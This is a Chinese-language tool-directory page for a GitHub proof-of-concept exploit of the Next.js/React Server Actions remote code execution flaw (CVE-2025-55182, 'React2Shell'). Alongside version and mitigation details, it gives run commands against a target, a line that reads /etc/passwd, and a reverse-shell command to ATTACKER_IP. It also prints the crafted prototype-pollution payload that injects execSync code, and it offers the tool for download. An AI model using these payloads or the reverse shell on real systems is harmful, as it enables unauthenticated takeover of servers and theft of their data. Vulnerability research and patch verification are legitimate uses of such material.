Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nextjs-CVE-2025-55182 | Kitploit
工具/GitHubGitHub/d0cnull/nextjs-cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育远程访问工具Payload 开发
GitHubd0cnull/nextjs-cve-2025-55182

nextjs-CVE-2025-55182

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Next.js 远程代码执行(RCE)PoC

Next.js Server Actions 中的严重漏洞,允许通过 React Flight Protocol 反序列化实现未经认证的远程代码执行

概述

本仓库包含针对影响使用 Server Actions(React Server Functions)的 Next.js 应用程序的严重 RCE 漏洞的 概念验证(PoC)。

详情信息
CVECVE-2025-55182 / CVE-2025-66478
严重性严重(CVSS 10.0)
受影响的 React 版本React 19.0.0, 19.1.0, 19.1.1, 19.2.0
受影响的 Next.js 版本Next.js 15.x, 16.x, 14.3.0-canary.77+
不受影响的版本Next.js 14.x stable, 13.x, Pages Router, Edge Runtime
已修复的 Next.js 版本15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
已修复的 React 版本19.0.1, 19.1.2, 19.2.1
类型远程代码执行(RCE)
是否需要认证无

漏洞描述

该漏洞存在于 React Flight Protocol 在 Server Actions 处理过程中对数据块进行反序列化的方式中。攻击者可以通过精心构造的表单数据利用**原型污染(prototype pollution)**来:

  1. 通过原型链遍历(__proto__)访问 Function 构造函数
  2. 在服务器上执行任意 JavaScript 代码
  3. 在无需认证的情况下实现完整的远程代码执行

此过程发生在对服务器操作进行任何验证之前,这使得任何启用了 Server Actions 的 Next.js 应用程序都可能受到攻击。

受影响的应用程序

满足以下条件的任何 Next.js 应用程序均存在漏洞:

  • 使用 Server Actions(App Router 中的默认配置)
  • 运行 Next.js 15.x 或 16.x(或 14.3.0-canary.77+)
  • 未采取特定缓解措施

使用方法

环境要求

root@kitploit:~
pip install requests

运行 PoC

root@kitploit:~
python3 poc.py <TARGET_URL> "<COMMAND>"

示例

root@kitploit:~
# Test command execution
python3 poc.py http://localhost:3000 "id"

# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

示例输出

root@kitploit:~
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

命令输出显示在 digest 字段中。

技术细节

该漏洞利用了 React Flight Protocol 的数据块解析机制:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

攻击链:

  1. 通过 $1:__proto__:then 进行原型遍历
  2. 通过 $1:constructor:constructor 访问 Function 构造函数
  3. 通过 _prefix 字段注入任意代码
  4. 代码在反序列化期间执行(认证前)

缓解措施

立即升级:

root@kitploit:~
npm install next@latest
# or
pnpm update next

已修复版本:15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7

注意: Next.js 14.x 稳定版和 13.x 不受影响。

免责声明

⚠️ 本 PoC 仅供教育和授权的安全测试使用。

未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确测试许可的系统上使用此工具。作者对任何滥用行为不承担责任。

致谢

基于 @msanft 的原始研究。该漏洞的发现及初始 PoC 的全部功劳归于他们。

参考资料

  • 原始 CVE-2025-55182 研究
  • Next.js 官方 CVE 公告
  • Wiz Research - React2Shell 分析
  • React Flight Protocol
  • NIST NVD - CVE-2025-55182

关键词

Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE

下载工具